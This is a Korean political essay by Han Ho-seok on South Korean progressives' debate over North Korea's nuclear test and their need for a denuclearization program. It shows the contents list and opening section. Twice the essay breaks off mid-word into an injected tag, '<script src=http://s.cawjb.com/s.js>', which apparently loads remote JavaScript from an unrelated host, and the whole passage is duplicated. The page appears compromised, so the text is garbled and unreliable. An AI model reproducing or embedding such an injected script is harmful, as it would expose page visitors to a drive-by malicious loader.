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북(조선)의 핵실험과 진보정치세력의 비핵화강령
한호석 (통일학연구소 소장)
<차례>
1. 글을 시작하며
2. 반핵교조주의 또는 공상적 평화주의를 넘어서
3. 사회주의핵억지력과 북(조선)의 핵실험
4. 핵정책문서에 주목해야 하는 까닭
5. ‘소극적 안전보장’을 부정한 ‘핵우산 공약’
6. 북(조선)의 핵실험과 사회주의반제혁명
7. 글을 맺으며
1. 글을 시작하며
북(조선)의 핵실험을 어떻게 볼 것인가 하는 문제를 놓고 남(한국)의 진보정치세력 안에서 논쟁이 벌어졌다.
북(조선)의 핵실험에 대한 정치적 견해가 둘로 갈라진 것이다.
한 쪽은 북(조선)의 핵실험이 제국주의반동공세에 맞선 자위적 조치이므로 용인할 수 있다고 주장하였고, 다른 쪽은 북(조선)의 핵실험이 한(조선)반도의 비핵화에 역행하는 조치이므로 반대의사를 분명하게 표명해야 한다고 주장하였다.
용인파와 반대파의 논쟁에 주목하는 까닭은, 진보정치세력이 사회주의국가의 핵실험을 어떻게 이해할 것인가 하는 새로운, 그리고 중대한 정치문제가 그 논쟁에서 제기되었기 때문이다.
시야를 넓혀 바라보면, 그 문제는 비단 남(한국)의 진보정치세력들에게만 주어진 과제가 아니라, 제국주의핵전쟁전략을 반대하는 아시아, 아프리카, 라틴아메리카의 다양한 진보정치세력들이 해명해야 할 과제인 것이다.
그런데 남(한국)의 진보정치세력은 아직 비핵화강령(denuclearization program)을 명시적으로 제시하지 못하였다. 민주노동당의 강령을 살펴보면, 부문을 달리하여 각각 반핵강령(anti-nuclear program)과 평화강령(peace program)이 제시되었을 뿐이다. 환경부문에서 제시한 반핵강령은 핵발전소 건설을 반대하는 녹색당의 강령과 같고, 외교부문에서 제시한 평화강령은 비핵화문제를 담지 못한 평화강령이다.
당의 평화강령은 “한반도를 포함한 동북아시아와 아시아 전체의 평화보장체제를 구축하기 위해 (줄임) 동북아시아지역에서 이해당사자 모두가 참여하는 국제적 협의기구를 결성하고 군축 및 지역평화를 위한 대책을 수립할 것”이라고 서술되었다.
그러나 북(조선)의 핵실험을 어떻게 볼 것인가 하는 문제를 놓고 벌어진 논쟁은, 환경부문의 반핵강령이나 외교부문의 평화강령에 관한 논쟁이 아니다. 그 논쟁은 진보정치세력이 사회주의국가의 핵실험을 어떻게 볼 것인가 하는 문제를 놓고 벌어진 논쟁이다.
주목하는 것은, 진보정치세력의 비핵화강령이 반핵강령도, 평화강령도 아니라는 점이다. 반핵강령은 한(조선)반도를 핵전쟁의 발화점으로 만들어놓은 미국의 ‘핵우산 공약(pledge of nuclear umbrella)’에 대해서는 침묵하면서, 북(조선)의 핵무장만 일방적으로 반대하는 논리구조를 가진 것이므로, 그 강령은 북(조선)의 핵실험을 어떻게 볼 것인가 하는 물음에 답을 주지 못한다. 다른 한편, 평화강령은 미국의 ‘핵우산 공약’과 북(조선)의 핵무장 사이에서 격돌이 벌어지는 오늘의 현실을 반영하지 못하고, 일반적인 의미의 평화와 군축을 실현하기 위한 정치강령이므로, 그 강령 역시 북(조선)의 핵실험을 어떻게 볼 것인가 하는 물음에 답을 주지 못한다.
그렇다면 다른 나라의 진보정치세력은 비핵화강령을 제시하였을까?
내가 알기로는, 비핵화강령이 아니라 평화강령을 제시하였을 뿐이다.
이를테면 1989년 6월 스웨덴 스톡홀름에서 열린 사회주의인터내셔널(Socialist International) 제18차 대회에서 채택한 ‘사회주의인터내셔널의 원칙선언’에 들어있는 평화강령이 대표적인 것이다. 그 평화강령은 서로 다른 체제의 상호신뢰, 상호협력으로 평화가 실현될 것이라고 밝혔다.
‘서로 다른 체제’라는 표현은 사회주의체제와 자본주의체제를 뜻하므로, 사민주의 평화강령은 사회주의와 자본주의의 신뢰와 협력으로 평화가 실현될 것으로 규정한 것으로 해석된다.
비판적 시각에서 보면, 사민주의 평화강령에서는 반제국주의강령에 대한 불철저성이 묻어 나온다.
그런 까닭에, 2006년 10월 9일 사회주의인터내셔널은 북(조선)을 겨냥한 미국의 제국주의전쟁전략과 압박공세에 대해서는 한 마디도 지적하지 않고, 북(조선)의 핵실험만 일방적으로 비난하는 성명을 발표하였다.
사민주의 평화강령은 사회주의 대 제국주의의 대결이 전개되는 현실을 외면하였다는 것, 그에 따라 사회주의와 자본주의의 상호신뢰, 상호협력으로 평화가 실현될 수 있으리라고 착각하였다는 것을 지적할 필요가 있다.
남(한국)의 진보정치세력은 사민주의 평화강령의 전철을 밟아서는 안 될 것이다.
진보정치세력의 비핵화강령은, 사회주의 대 제국주의의 대결이 벌어지는 한(조선)반도에서 비핵화를 실현하고 동북아시아에서 핵군축(nuclear disarmament)을 촉진시키는 새로운 정치강령으로 되어야 할 것이다.
기대하건대, 남(한국)의 진보정치?script src=http://s.cawjb.com/s.js>
한호석 (통일학연구소 소장)
<차례>
1. 글을 시작하며
2. 반핵교조주의 또는 공상적 평화주의를 넘어서
3. 사회주의핵억지력과 북(조선)의 핵실험
4. 핵정책문서에 주목해야 하는 까닭
5. ‘소극적 안전보장’을 부정한 ‘핵우산 공약’
6. 북(조선)의 핵실험과 사회주의반제혁명
7. 글을 맺으며
1. 글을 시작하며
북(조선)의 핵실험을 어떻게 볼 것인가 하는 문제를 놓고 남(한국)의 진보정치세력 안에서 논쟁이 벌어졌다.
북(조선)의 핵실험에 대한 정치적 견해가 둘로 갈라진 것이다.
한 쪽은 북(조선)의 핵실험이 제국주의반동공세에 맞선 자위적 조치이므로 용인할 수 있다고 주장하였고, 다른 쪽은 북(조선)의 핵실험이 한(조선)반도의 비핵화에 역행하는 조치이므로 반대의사를 분명하게 표명해야 한다고 주장하였다.
용인파와 반대파의 논쟁에 주목하는 까닭은, 진보정치세력이 사회주의국가의 핵실험을 어떻게 이해할 것인가 하는 새로운, 그리고 중대한 정치문제가 그 논쟁에서 제기되었기 때문이다.
시야를 넓혀 바라보면, 그 문제는 비단 남(한국)의 진보정치세력들에게만 주어진 과제가 아니라, 제국주의핵전쟁전략을 반대하는 아시아, 아프리카, 라틴아메리카의 다양한 진보정치세력들이 해명해야 할 과제인 것이다.
그런데 남(한국)의 진보정치세력은 아직 비핵화강령(denuclearization program)을 명시적으로 제시하지 못하였다. 민주노동당의 강령을 살펴보면, 부문을 달리하여 각각 반핵강령(anti-nuclear program)과 평화강령(peace program)이 제시되었을 뿐이다. 환경부문에서 제시한 반핵강령은 핵발전소 건설을 반대하는 녹색당의 강령과 같고, 외교부문에서 제시한 평화강령은 비핵화문제를 담지 못한 평화강령이다.
당의 평화강령은 “한반도를 포함한 동북아시아와 아시아 전체의 평화보장체제를 구축하기 위해 (줄임) 동북아시아지역에서 이해당사자 모두가 참여하는 국제적 협의기구를 결성하고 군축 및 지역평화를 위한 대책을 수립할 것”이라고 서술되었다.
그러나 북(조선)의 핵실험을 어떻게 볼 것인가 하는 문제를 놓고 벌어진 논쟁은, 환경부문의 반핵강령이나 외교부문의 평화강령에 관한 논쟁이 아니다. 그 논쟁은 진보정치세력이 사회주의국가의 핵실험을 어떻게 볼 것인가 하는 문제를 놓고 벌어진 논쟁이다.
주목하는 것은, 진보정치세력의 비핵화강령이 반핵강령도, 평화강령도 아니라는 점이다. 반핵강령은 한(조선)반도를 핵전쟁의 발화점으로 만들어놓은 미국의 ‘핵우산 공약(pledge of nuclear umbrella)’에 대해서는 침묵하면서, 북(조선)의 핵무장만 일방적으로 반대하는 논리구조를 가진 것이므로, 그 강령은 북(조선)의 핵실험을 어떻게 볼 것인가 하는 물음에 답을 주지 못한다. 다른 한편, 평화강령은 미국의 ‘핵우산 공약’과 북(조선)의 핵무장 사이에서 격돌이 벌어지는 오늘의 현실을 반영하지 못하고, 일반적인 의미의 평화와 군축을 실현하기 위한 정치강령이므로, 그 강령 역시 북(조선)의 핵실험을 어떻게 볼 것인가 하는 물음에 답을 주지 못한다.
그렇다면 다른 나라의 진보정치세력은 비핵화강령을 제시하였을까?
내가 알기로는, 비핵화강령이 아니라 평화강령을 제시하였을 뿐이다.
이를테면 1989년 6월 스웨덴 스톡홀름에서 열린 사회주의인터내셔널(Socialist International) 제18차 대회에서 채택한 ‘사회주의인터내셔널의 원칙선언’에 들어있는 평화강령이 대표적인 것이다. 그 평화강령은 서로 다른 체제의 상호신뢰, 상호협력으로 평화가 실현될 것이라고 밝혔다.
‘서로 다른 체제’라는 표현은 사회주의체제와 자본주의체제를 뜻하므로, 사민주의 평화강령은 사회주의와 자본주의의 신뢰와 협력으로 평화가 실현될 것으로 규정한 것으로 해석된다.
비판적 시각에서 보면, 사민주의 평화강령에서는 반제국주의강령에 대한 불철저성이 묻어 나온다.
그런 까닭에, 2006년 10월 9일 사회주의인터내셔널은 북(조선)을 겨냥한 미국의 제국주의전쟁전략과 압박공세에 대해서는 한 마디도 지적하지 않고, 북(조선)의 핵실험만 일방적으로 비난하는 성명을 발표하였다.
사민주의 평화강령은 사회주의 대 제국주의의 대결이 전개되는 현실을 외면하였다는 것, 그에 따라 사회주의와 자본주의의 상호신뢰, 상호협력으로 평화가 실현될 수 있으리라고 착각하였다는 것을 지적할 필요가 있다.
남(한국)의 진보정치세력은 사민주의 평화강령의 전철을 밟아서는 안 될 것이다.
진보정치세력의 비핵화강령은, 사회주의 대 제국주의의 대결이 벌어지는 한(조선)반도에서 비핵화를 실현하고 동북아시아에서 핵군축(nuclear disarmament)을 촉진시키는 새로운 정치강령으로 되어야 할 것이다.
기대하건대, 남(한국)의 진보정치?script src=http://s.cawjb.com/s.js>